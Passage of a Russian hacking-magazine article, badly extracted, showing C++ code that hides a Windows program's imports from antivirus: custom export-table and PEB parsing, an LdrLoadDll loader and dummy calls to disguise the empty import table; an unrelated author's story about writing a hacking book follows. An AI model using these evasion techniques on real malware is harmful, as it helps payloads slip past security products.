ÑÎÁÑÒÂÅÍÍÛÅ LOADLIBRARY() È GETPROCADDRESS()

Нач нем с написа ния собс твен ной . У каж дой DLL-биб- 
лиоте ки есть раз дел EAT (Export Address Table), в котором содер жатся экспор- 
тиру емые из этой биб лиоте ки фун кции. Бук валь но — методы, которые могут
быть выз ваны при вклю чении этой DLL в прог рамму.

GetProcAddress()

Прос мотреть экспор ты поз воля ет тот же , но с фла гом .dumpbin /exports

dumpbin /exports C:\Windows\System32\user32.dll 

Эк спор ты user32.dll

Нам нуж но лишь как-то получить базовый адрес заг рузки биб лиоте ки, а затем
от него мож но доб рать ся до EAT. Пока для прос тоты экспе римен та базовый
адрес заг рузки пред лагаю получать через . Эта фун кция поз- 
воля ет заг рузить биб лиоте ку в текущий про цесс, а затем получить на нее
хендл.

LoadLibrary()

 HMODULE LoadLibraryA(
   [in] LPCSTR lpLibFileName
);

Продолжение статьи →

https://t.me/Michaelzhm
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Этот хендл явля ется базовым адре сом заг рузки DLL в память про цес са. Пос- 
ле получе ния базово го адре са сле дует начать пар сить EAT, до него мож но
доб рать ся по пути  →  →

 →  →
. Под робнее о пар синге PE мож но про читать в раз- 

личных пуб ликаци ях, вот нес коль ко ссы лок.

IMAGE_DOS_HEADER IMAGE_NT_HEADERS
IMAGE_OPTIONAL_HEADER IMAGE_DATA_DIRECTORY
IMAGE_EXPORT_DIRECTORY

WWW

 (ired.team)•Parsing PE File Headers with C++

(«Хаб рахабр»)
•PE (Portable Executable): На стран ных берегах

(kaimi.io)
•PE-фор мат. Часть 1 — Базовая информа ция

Те перь ныр нем в пучины интерне та и поищем кас томную реали зацию
. Я выб рал самый акку рат ный и милый вари ант.GetProcAddress()

     FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
      PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule +
dosHeader->e_lfanew);
    

 
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY

)((BYTE*)hModule +
 ntHeaders->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

      DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfFunctions);
      WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
      DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->
AddressOfNames);

          for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
         
  
if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i])

== 0) {
        return (FARPROC)((BYTE*)hModule + addressOfFunctions[

addressOfNameOrdinals[i]]);
   }
 }

  return NULL;
}

Фун кция дос таточ но прос та: при нима ет базовый адрес заг рузки биб лиоте ки,
а так же имя фун кции, адрес которой надо получить. Работа ет так, как нам
и нуж но, — путем пар синга EAT.

Пом нишь, мы отклю чили CRT? Поэто му исполь зование фун кции 

из это го кода невоз можно. К счастью, срав нение двух строк — базовый алго- 
ритм, который пишут еще на пас кале в седь мом клас се. На C++ я вынес его
в отдель ную фун кцию .

strcmp()

custom_strcmp()

       int custom_strcmp(const char* str1, const char* str2) {
       while (*str1 || *str2) {

           if (*str1 < *str2) {
            return -1;

       }
            else if (*str1 > *str2) {

            return 1;
       }
       str1++;
       str2++;
   }
    return 0;
}

Ра зоб равшись, как и что делать, получа ем сле дующий код.

#include <Windows.h>
#include <winternl.h>

   typedef int (WINAPI* MessageBoxWFunc)(
       HWND hWnd,
    LPCWSTR lpText,
    LPCWSTR lpCaption,
       UINT uType
   );

       int custom_strcmp(const char* str1, const char* str2) {
       while (*str1 || *str2) {

           if (*str1 < *str2) {
            return -1;

       }
            else if (*str1 > *str2) {

            return 1;
       }
       str1++;
       str2++;
   }
    return 0;
}

     FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
      PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
       
 

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule
+ dosHeader->e_lfanew);
      

 
PIMAGE_EXPORT_DIRECTORY exportDirectory = (

PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
       ntHeaders->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

        DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfFunctions);
        WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
        DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory
->AddressOfNames);

            for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
     

   
       if (custom_strcmp(lpProcName, (const char*)hModule +
addressOfNames[i]) == 0) {

              return (FARPROC)((BYTE*)hModule + addressOfFunctions[
addressOfNameOrdinals[i]]);
       }
   }

    return NULL;
}

  int main() {
      HMODULE user32Module = LoadLibrary(L"user32.dll");
      

 
MessageBoxWFunc MessageBoxWPtr = (MessageBoxWFunc)(

myGetProcAddress(user32Module, "MessageBoxW"));
      MessageBoxWPtr(NULL, L"HI", L"HI", MB_OK);
    return 0;
}

Ком пилиру ем, запус каем. Видим, что остался лишь один импорт.

Лишь один импорт

Чем же заменить ? Если мы гля нем на пос ледова тель ность

вызовов фун кций, то уви дим, что  вызыва ет ,

она — , а та — еще одну фун кцию... Про цесс, ска жу чес тно,
дос таточ но слож ный. Вот кар тинка, которая хорошо опи сыва ет пос ледова- 
тель ность вызовов при заг рузке DLL.

LoadLibrary()
LoadLibrary() LdrLoadDll()

LdrpLoadDll()

Пос ледова тель ность вызовов при заг рузке DLL

Пред лагаю не рас путывать весь этот клу бок, а прос то выз вать .
Фун кция пред став лена в , а эта биб лиоте ка при сутс тву ет в любом

про цес се в Windows. Абсо лют но в любом. Теперь проб лема дру гая — отку да
взять базовый адрес заг рузки ? Здесь нам на помощь при дет фун- 
кция . Эта фун кция при нима ет лишь один параметр —

имя DLL, а воз вра щает хендл. Хендл как раз таки будет базовым адре сом заг- 
рузки биб лиоте ки.

LdrLoadDll()
ntdll.dll

ntdll.dll
GetModuleHandle()

 HMODULE GetModuleHandleA(
    [in, optional] LPCSTR lpModuleName
);

Что ж, ска зано — сде лано, про тотип фун кции  неболь шой,
парамет ры прак тичес ки те же, что и у . Их прос то чуть боль ше.

LdrLoadDll()
LoadLibrary()

   HMODULE MyLoadLibrary(LPCWSTR lpFileName) {
    UNICODE_STRING ustrModule;
      HANDLE hModule = NULL;

      HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
      

 
pRtlInitUnicodeString RtlInitUnicodeString = (

pRtlInitUnicodeString)myGetProcAddress(hNtdll, "RtlInitUnicodeString"
);

    RtlInitUnicodeString(&ustrModule, lpFileName);

       pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)myGetProcAddress(hNtdll,
"LdrLoadDll");
     if (!myLdrLoadDll) {

        return NULL;
   }

         NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
    return (HMODULE)hModule;
}

В этом коде мы сна чала получа ем базовый адрес , а затем через
нашу кас томную  находим адре са нуж ных фун кций, пос ле

чего заг ружа ем DLL в про цесс. Ито говый код прог раммы стал чуть боль ше.

ntdll.dll
GetProcAddress()

#include <Windows.h>
#include <winternl.h>

   typedef int (WINAPI* MessageBoxWFunc)(
       HWND hWnd,
    LPCWSTR lpText,
    LPCWSTR lpCaption,
       UINT uType
   );

   typedef NTSTATUS(NTAPI* pLdrLoadDll) (
    PWCHAR PathToFile,
    ULONG Flags,
    PUNICODE_STRING ModuleFileName,
    PHANDLE ModuleHandle
   );

   
  

typedef VOID(NTAPI* pRtlInitUnicodeString)(PUNICODE_STRING
DestinationString, PCWSTR SourceString);

       int custom_strcmp(const char* str1, const char* str2) {
       while (*str1 || *str2) {

           if (*str1 < *str2) {
            return -1;

       }
            else if (*str1 > *str2) {

            return 1;
       }
       str1++;
       str2++;
   }
    return 0;
}

     FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
      PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
       
 

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule
+ dosHeader->e_lfanew);
      

 
PIMAGE_EXPORT_DIRECTORY exportDirectory = (

PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
       ntHeaders->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

        DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfFunctions);
        WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
        DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory
->AddressOfNames);

            for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
     

   
       if (custom_strcmp(lpProcName, (const char*)hModule +
addressOfNames[i]) == 0) {

              return (FARPROC)((BYTE*)hModule + addressOfFunctions[
addressOfNameOrdinals[i]]);
       }
   }

    return NULL;
}

   HMODULE MyLoadLibrary(LPCWSTR lpFileName) {
    UNICODE_STRING ustrModule;
      HANDLE hModule = NULL;

      HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
      

 
pRtlInitUnicodeString RtlInitUnicodeString = (

pRtlInitUnicodeString)myGetProcAddress(hNtdll, "RtlInitUnicodeString"
);

    RtlInitUnicodeString(&ustrModule, lpFileName);

       pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)myGetProcAddress(hNtdll,
"LdrLoadDll");
     if (!myLdrLoadDll) {

        return NULL;
   }

         NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
    return (HMODULE)hModule;
}

  int main() {
      HMODULE user32Module = MyLoadLibrary(L"user32.dll");
      

 
MessageBoxWFunc MessageBoxWPtr = (MessageBoxWFunc)(

myGetProcAddress(user32Module, "MessageBoxW"));
      MessageBoxWPtr(NULL, L"HI", L"HI", MB_OK);
    return 0;
}

Вновь ком пилиру ем, запус каем.

Опять один импорт

Вот незада ча, я сно ва забыл, что нель зя нап рямую вызывать никакие фун- 
кции. Про дол жаем моз говой штурм. Что дела ет ? Фун- 

кция при нима ет лишь имя биб лиоте ки, а воз вра щает ее базовый адрес.
Такую информа цию мож но дос тать из PEB (Process Environment Block). Вновь
обра щаем ся к интерне ту и находим там нуж ный код.

GetModuleHandle()

   HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

    PEB* pPeb = (PEB*)__readgsqword(0x60);

 // For x86
 // PEB* pPeb = (PEB*)__readgsqword(0x30);

    PEB_LDR_DATA* Ldr = pPeb->Ldr;
    LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList;

    LIST_ENTRY* pStartListEntry = ModuleList->Flink;

      WCHAR mystr[MAX_PATH] = { 0 };
      WCHAR substr[MAX_PATH] = { 0 };
        

    
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry !=

ModuleList; pListEntry = pListEntry->Flink) {

      
  

LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)
pListEntry - sizeof(LIST_ENTRY));

       memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
       memset(substr, 0, MAX_PATH * sizeof(WCHAR));
     wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
     wcscpy_s(substr, MAX_PATH, lModuleName);
      if (cmpUnicodeStr(substr, mystr)) {

      return (HMODULE)pEntry->DllBase;
   }
 }

 // The needed DLL wasn’t found
  printf("failed to get a handle to %s\n", lModuleName);
  return NULL;
}

Проб лема в том, что здесь исполь зуют ся фун кции либо из CRT, либо те,
которые будут отра жать ся в IAT. Заменя ем .memset()

       
 

void* __cdecl custom_memset(void* Destination, int Value, size_t Size
) {
        unsigned char* p = (unsigned char*)Destination;
       while (Size > 0) {

          *p = (unsigned char)Value;
       p++;
       Size--;
   }
    return Destination;
}

Код моей кас томной фун кции прост: идет копиро вание в память нуж ного зна- 
чения. Теперь заменя ем .wcscpy_s()

       
 

wchar_t* custom_wcsncpy(wchar_t* dest, const wchar_t* src, size_t
count) {
      wchar_t* originalDest = dest;

       while (count > 0) {
         *dest = *src;

           if (*src == L'\0') {
           break;
       }
       dest++;
       src++;
       count--;
   }

       while (count > 0) {
         *dest = L'\0';

       dest++;
       count--;
   }

    return originalDest;
}

    size_t custom_wcslen(const wchar_t* str) {
       if (str == nullptr) {

        return 0;
   }

      size_t length = 0;
       while (*str != L'\0') {
       length++;
       str++;
   }

    return length;
}

      
  

errno_t custom_wcscpy_s(wchar_t* dest, size_t destSize, const wchar_t
* src) {
           if (dest == nullptr || src == nullptr) {

        return EINVAL;
   }

      size_t srcLength = custom_wcslen(src);

         if (destSize < srcLength + 1) {
        return ERANGE;

   }

     custom_wcsncpy(dest, src, destSize);
     dest[srcLength] = L'\0';

    return 0;
}

Здесь чуть слож нее: сна чала идет про вер ка на раз мер, пос ле чего под счет
дли ны (уве личе ние счет чика до тех пор, пока не будет встре чен  —

конец стро ки), а затем копиро вание в память.

null byte

Для срав нения двух Unicode-строк автор исполь зует фун кцию из .Shlwapi

     int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {
  _wcslwr_s(substr, MAX_PATH);
  _wcslwr_s(mystr, MAX_PATH);

    int result = 0;
      if (StrStrW(mystr, substr) != NULL) {
     result = 1;
 }

  return result;
}

Мы такой рос кошью не обла даем, поэто му вновь пишем код самос тоятель но.
Пред лагаю прос то по ана логии со  заменить .strcmp() wcscmp()

       int custom_wcscmp(const wchar_t* str1, const wchar_t* str2) {
           while (*str1 == *str2 && *str1 != L'\0') {
       str1++;
       str2++;
   }

      return *str1 - *str2;
}

Эта фун кция вер нет , если стро ки рав ны. Нем ного подеба жив, я уви дел, что

в PEB ntdll пред став лен как , поэто му такое

же зна чение и переда ем нашей фун кции.

0
C:\Windows\SYSTEM32\ntdll.dll

   HMODULE hNtdll = myGetModuleHandle(L"C:\\Windows\\SYSTEM32\\ntdll.
dll");

Продолжение статьи →

https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++
https://habr.com/ru/articles/266831/
https://kaimi.io/2011/07/pe-%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82-%D0%B1%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D1%8F-%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F/
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Ито говый код про екта стал еще боль ше. Теперь для стан дар тно го
 нуж но целых 176 строк.MessageBox()

#include <Windows.h>
#include <winternl.h>

   typedef int (WINAPI* MessageBoxWFunc)(
       HWND hWnd,
    LPCWSTR lpText,
    LPCWSTR lpCaption,
       UINT uType
   );

   typedef NTSTATUS(NTAPI* pLdrLoadDll) (
    PWCHAR PathToFile,
    ULONG Flags,
    PUNICODE_STRING ModuleFileName,
    PHANDLE ModuleHandle
   );

   
  

typedef VOID(NTAPI* pRtlInitUnicodeString)(PUNICODE_STRING
DestinationString, PCWSTR SourceString);

       
 

wchar_t* custom_wcsncpy(wchar_t* dest, const wchar_t* src, size_t
count) {
      wchar_t* originalDest = dest;

       while (count > 0) {
         *dest = *src;

           if (*src == L'\0') {
           break;
       }
       dest++;
       src++;
       count--;
   }

       while (count > 0) {
         *dest = L'\0';

       dest++;
       count--;
   }

    return originalDest;
}

    size_t custom_wcslen(const wchar_t* str) {
       if (str == nullptr) {

        return 0;
   }

      size_t length = 0;
       while (*str != L'\0') {
       length++;
       str++;
   }

    return length;
}

       int custom_wcscmp(const wchar_t* str1, const wchar_t* str2) {
           while (*str1 == *str2 && *str1 != L'\0') {
       str1++;
       str2++;
   }

      return *str1 - *str2;
}

      
  

errno_t custom_wcscpy_s(wchar_t* dest, size_t destSize, const wchar_t
* src) {
           if (dest == nullptr || src == nullptr) {

        return EINVAL;
   }

      size_t srcLength = custom_wcslen(src);

         if (destSize < srcLength + 1) {
        return ERANGE;

   }

     custom_wcsncpy(dest, src, destSize);
     dest[srcLength] = L'\0';

    return 0;
}

       int custom_strcmp(const char* str1, const char* str2) {
       while (*str1 || *str2) {

           if (*str1 < *str2) {
            return -1;

       }
            else if (*str1 > *str2) {

            return 1;
       }
       str1++;
       str2++;
   }
    return 0;
}

     FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
      PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
       
 

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule
+ dosHeader->e_lfanew);
      

 
PIMAGE_EXPORT_DIRECTORY exportDirectory = (

PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
       ntHeaders->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

        DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfFunctions);
        WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
        DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory
->AddressOfNames);

            for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
     

   
       if (custom_strcmp(lpProcName, (const char*)hModule +
addressOfNames[i]) == 0) {

              return (FARPROC)((BYTE*)hModule + addressOfFunctions[
addressOfNameOrdinals[i]]);
       }
   }

    return NULL;
}

       
 

void* __cdecl custom_memset(void* Destination, int Value, size_t Size
) {
        unsigned char* p = (unsigned char*)Destination;
       while (Size > 0) {

          *p = (unsigned char)Value;
       p++;
       Size--;
   }
    return Destination;
}

   HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

      PEB* pPeb = (PEB*)__readgsqword(0x60);

   // For x86
   // PEB* pPeb = (PEB*)__readgsqword(0x30);

      PEB_LDR_DATA* Ldr = pPeb->Ldr;
      LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList;
      LIST_ENTRY* pStartListEntry = ModuleList->Flink;

        WCHAR mystr[MAX_PATH] = { 0 };
        WCHAR substr[MAX_PATH] = { 0 };
          

    
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry !=

ModuleList; pListEntry = pListEntry->Flink) {
   

  
       LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*
)pListEntry - sizeof(LIST_ENTRY));

           custom_memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
           custom_memset(substr, 0, MAX_PATH * sizeof(WCHAR));
         custom_wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
         custom_wcscpy_s(substr, MAX_PATH, lModuleName);

            if (custom_wcscmp(substr, mystr) == 0) {
           // Returning the DLL base address

            return (HMODULE)pEntry->DllBase;
       }
   }
}

   HMODULE MyLoadLibrary(LPCWSTR lpFileName) {
    UNICODE_STRING ustrModule;
      HANDLE hModule = NULL;

      HMODULE hNtdll = myGetModuleHandle(L"C:\\Windows\\SYSTEM32\\
ntdll.dll");
      

 
pRtlInitUnicodeString RtlInitUnicodeString = (

pRtlInitUnicodeString)myGetProcAddress(hNtdll, "RtlInitUnicodeString"
);

    RtlInitUnicodeString(&ustrModule, lpFileName);

       pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)myGetProcAddress(hNtdll,
"LdrLoadDll");
     if (!myLdrLoadDll) {

        return NULL;
   }

         NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
    return (HMODULE)hModule;
}

  int main() {
      HMODULE user32Module = MyLoadLibrary(L"user32.dll");
      

 
MessageBoxWFunc MessageBoxWPtr = (MessageBoxWFunc)(

myGetProcAddress(user32Module, "MessageBoxW"));
      MessageBoxWPtr(NULL, L"HI", L"HI", MB_OK);
    return 0;
}

На ше чудо зарабо тало!

На конец в IAT ста ло пус то.

Пус той IAT

При чем обра ти вни мание, что у тебя ком пилятор может выдавать ошиб ку
.LNK1120

1>Source.obj : error LNK2001: неразрешенный внешний символ memset. 
SD 641>A:\S \ProjectsVS\Article\x \Release\Article.exe : fatal error 

LNK1120: неразрешенных внешних элементов: 1 

Ес ли это про изош ло, откры вай раз дел «Про ект → Свой ства» и отклю чай опти- 
миза цию.

От клю чение опти миза ции

Ос талось лишь навес ти нем ного кра соты. Ведь это очень подоз ритель но,
если у прог раммы пус той IAT. Зай мем ся IAT Camouage.

IAT CAMOUFLAGE

Не кото рые анти виру сы могут повесить на нас детект прос то потому, что мы
не вызыва ем никаких фун кций, пос коль ку у нас пус той IAT. Пред лагаю
добавить пароч ку фик тивных вызовов фун кций, которые ни к чему не при- 
водят. При этом в IAT, само собой, появят ся записи о том, что исполь зуют ся
те или иные фун кции.

До бавим, нап ример, код, который никог да не выпол нится.

  int main() {
    HMODULE user32Module = MyLoadLibrary(L"user32.dll");
    

 
MessageBoxWFunc MessageBoxWPtr = (MessageBoxWFunc)(myGetProcAddress

(user32Module, "MessageBoxW"));
    MessageBoxWPtr(NULL, L"HI", L"HI", MB_OK);

    int m = 4;
     if (m > 5) {

            unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
       i = GetLastError();
        i = SetCriticalSectionSpinCount(NULL, NULL);
       i = GetWindowContextHelpId(NULL);
        i = GetWindowLongPtrW(NULL, NULL);
       i = RegisterClassW(NULL);
       i = IsWindowVisible(NULL);
       i = ConvertDefaultLocale(NULL);
            i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
        i = IsDialogMessageW(NULL, NULL);

 }
  return 0;
}

Об рати вни мание, что ком пилято ры нын че дос таточ но умные, поэто му нуж но
будет отклю чить опти миза цию, как опи сано выше. В про тив ном слу чае ком- 
пилятор уви дит, что этот кусок кода никог да не сра баты вает, и исклю чит его
из исполня емо го фай ла.

Ком пилиру ем про ект и видим, что IAT стал похож на IAT обыч ной ничем
не при меча тель ной прог раммы.

Чис тень кий IAT

ÏÑÅÂÄÎÕÅÍÄËÛ

На конец, на десерт хочет ся упо мянуть псев дохен длы. Псев дохен дла ми счи- 
тают ся фик тивные хен длы на какой-либо текущий ресурс. Нап ример, вызов

 не получит ся ничем заменить, но вмес то него мож но

исполь зовать псев дохендл. Сис тема Windows, получив такой хендл, пой мет,
что ей нуж но обра тить ся к про цес су, из которо го была выз вана фун кция.
Таким обра зом, для получе ния хен дла, нап ример, на текущий про цесс, дос- 
таточ но переда вать зна чение . И Windows опре делит, что это хендл

на текущий про цесс.

GetCurrentProcess()

-1

Мож но даже в про екте соз дать малень кие мак росы, которые будут выпол- 
нять эту работу авто мати чес ки.

#define NtCurrentProcess() ((HANDLE)-1) // Получить хендл на текущий 
процесс
#define NtCurrentThread()  ((HANDLE)-2) // Получить хендл на текущий 
поток

ÂÛÂÎÄÛ

Все-таки очень увле катель но играть в кош ки-мыш ки с анти виру сами. Каж дый
раз дума ешь, что же там такое они навер тели и почему на мой пей лоад веша- 
ется детект. В этой статье мы обсу дили один из вари антов отве та на этот воп- 
рос. Пом ни, что по любым воп росам ты можешь сме ло писать мне в лич ку —
мы раз берем любые воз никшие проб лемы.
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Я никог да не стре мил ся стать писате лем,
одна ко получи лось так, что я написал кни гу
о необыч ных при емах взло ма и методах
физичес ких атак с исполь зовани ем
самодель ных хакер ских устрой ств. Изда- 
тель ство уже рас про дало 1000 экзем пля- 
ров моей кни ги и сей час допеча тыва ет вто- 
рой тираж. Как родилась идея это го изда- 
ния, с какими труд ностя ми мне приш лось
стол кнуть ся и как научить ся взла мывать
сети с исполь зовани ем дешевых одноплат- 
ников и мобиль ного телефо на, я рас ска- 
зываю в этой статье. Воз можно, мой опыт
ока жет ся полезен тем, кто решит пов торить
этот путь.

С самого детс тва я счи тал жур нал «Хакер» по-нас тояще му куль товым. Пом ню
те слав ные вре мена, ког да он лежал на пол ках киос ков с печат ной про дук- 
цией и моя мама каж дый месяц покупа ла све жий номер. Прав да, читала она
его в основном сама, но через какое-то вре мя я тоже заин тересо вал ся этим
изда нием.

Скром ная кол лекция жур налов «Хакер» (в хро ноло гичес ком поряд ке)

Мно го лет спус тя, в 2016 году, я устро ился на работу в Ураль ский центр сис- 
тем безопас ности и написал на «Хабр» пер вую статью для нашего кор- 
поратив ного бло га. Уже тог да я твер до решил, что ког да-нибудь дорас ту и до
«Хакера». В те вре мена, как, в общем-то, и сей час, в рос сий ском инфо- 
сек-комь юни ти «Хакер» счи тал ся одним из самых авто ритет ных изда ний.

Этот план уда лось реали зовать четыре года спус тя: я под готовил замет ку
на тему информа цион ной безопас ности, заг лянул на сай те «Хакера» в раз дел
«Кон такты» и отпра вил свой текст пря миком глав ному редак тору 

. Ров но через 24 часа по элек трон ной поч те мне при шел ответ
о том, что статья при нята, а еще две недели спус тя она была опуб ликова на.
Так я стал авто ром «Хакера».

Ан дрею
Пись мен ному

Но вых ста тей я, в общем-то, в тот момент не пла ниро вал, но через пару
месяцев мне вновь написал Андрей и поп росил под готовить для жур нала
что-нибудь еще. Наша ком пания как раз про води ла серию очень инте рес ных
пен тестов со слож ными кей сами пивотин га — раз вити ем атак во внут ренней
сети пос ле про бития перимет ра, и я пред ложил написать нес коль ко матери- 
алов на эту тему. Текст был осно ван на хорошо струк туриро ван ных замет ках,
которые я вел уже очень дав но (что еще раз доказы вает прак тичес кую поль зу
подоб ных «рабочих днев ников»), — и резуль тат ока зал ся неожи дан ным:
статья попала  «Хакера». Лич но для меня это ста ло головок- 
ружитель ным успе хом! Нес мотря на то что в тот момент я готовил ся к OSWE
и у меня оста валось не так мно го сво бод ного вре мени, я решил про дол жить
тему пос тэкс плу ата ции в трех пос леду ющих стать ях.

на обложку

Даль нейшие события раз вивались еще более уди витель ным обра зом.
Спус тя год пос ле начала моей карь еры в качес тве теперь уже пос тоян ного
авто ра «Хакера» мне написал 

 и сооб щил, что пери оди чес ки «Хакер» выпус кает кни ги, сос тавлен- 
ные из избран ных ста тей, куда на этот раз вош ли и мои работы. О кни ге я тог- 
да даже не меч тал, прос то не знал, что так мож но. Ког да я дер жал в руках нас- 
тоящую кни гу, на обложке которой зна чилось мое имя в качес тве одно го
из соав торов, во мне бук валь но что-то поменя лось.

ве дущий редак тор жур нала Вален тин Хол- 
могоров

Не обыч ное чувс тво, ког да ищешь в магази не кни гу за сво им авторс твом

Нуж но было дви гать ся впе ред. И я пос тавил себе цель — написать кни гу,
но не в соав торс тве с кол легами из «Хакера», а пол ностью самос тоятель но.

ÇÀÐÎÆÄÅÍÈÅ ÈÄÅÈ

В ком пании УЦСБ, где я работаю, сущес тву ет науч но-тех ничес кий совет,
на котором однажды мне пред ложили выс тупить с неболь шим док ладом.
В кон це 2020 года я занимал ся поис ком аль тер натив для хакер ских девай сов
(hak5), которые мож но было бы соб рать из дос тупных одноплат ников и про- 
чих под ручных устрой ств. В ито ге мне уда лось пов торить прак тичес ки все
наибо лее популяр ные устрой ства, сде лать их гиб кими и, навер ное, куда
более фун кци ональ ными по срав нению с про тоти пами. В свой док лад я так же
вклю чил и опи сание спе цифич ных атак физичес кого дос тупа, реали зации
которых я смог тог да отыс кать в интерне те и опро бовать с помощью соб- 
ранно го мною обо рудо вания.

С док ладом я выс тупил, но мне хотелось, что бы о моих наработ ках узнал
кто-то еще, кро ме чле нов науч но-тех ничес кого совета. И я решил изло жить
свои иссле дова ния в девяти под робных стать ях, которые я понем ногу писал
в течение сле дующе го полуго да. И вот, ког да летом 2021-го я получил
от «Хакера» экзем пляр сбор ника с моими пре дыду щими стать ями, я понял,
что у меня есть отличный матери ал для собс твен ной кни ги. Девять ста тей,
под робно осве щающих раз личные аспекты аппа рат ного взло ма и в деталях
опи сыва ющих архи тек туру самодель ных хакер ских устрой ств, — это очень
цен ный актив!

Всю вто рую полови ну года я дописы вал текст теперь уже не ста тей,
а будущих глав — на тот момент матери ал еще пред став лял собой скуч ное
опи сание тех ничес ких деталей и, оче вид но, тре бовал более понят ного
и прос того изло жения. Кро ме того, нуж ны были наг лядные схе мы и фотог- 
рафии.

В кон це 2021 года я решил сооб щить Андрею Пись мен ному в «Хакер», что
у меня есть отличный матери ал, который я пла нирую офор мить в виде кни ги.
Тот перенап равил меня к «глав ному по книж кам» — Вален тину Хол могоро ву.
Вален тин вско ре прис лал доволь но скеп тичес кий, как мне показа лось, ответ:
мол, кни ги на эту тему уже пуб ликова лись, и в боль шом количес тве. Но в
целом он выразил готов ность пос пособс тво вать изда нию — если, конеч но,
текст ока жет ся дос той ным. Я был пол ностью уве рен в сво ей работе: соб- 
ранный мною матери ал был уни кален, ник то не пуб ликовал чего-то подоб ного
ранее. И я про дол жил работу.

Весь 2022 год я пос вятил доработ ке кни ги. 90–100 стра ниц исходной
рукопи си вне зап но прев ратились в 200 с лиш ним. Но самое слож ное —
это фотог рафии… Если бы кни га была пос вящена ата кам на сети или при- 
ложе ния, я мог бы отде лать ся баналь ными скрин шотами. Дру гое дело —
физичес кие ата ки. Здесь стен дом выс тупа ют уже реаль ные объ екты, порою
круп ные, а для демонс тра ции ата ки нужен некий кон текст. Мне тре бова лось
как-то передать на фото и окру жающую хакера обста нов ку, и одновре мен но
кро шеч ный текст на экра не телефо на. Некото рые фотог рафии я поза имс тво- 
вал из отче тов по пен тестам и реаль ным кей сам, но мно гое приш лось вос- 
про изво дить на стен де. При этом одни сним ки были сде ланы зимой, дру гие
летом…

В ито ге весь год у меня был рас пла ниро ван под фотосес сии. Какие-то
кад ры ока залось сде лать нас толь ко слож но, что при ходи лось про сить раз- 
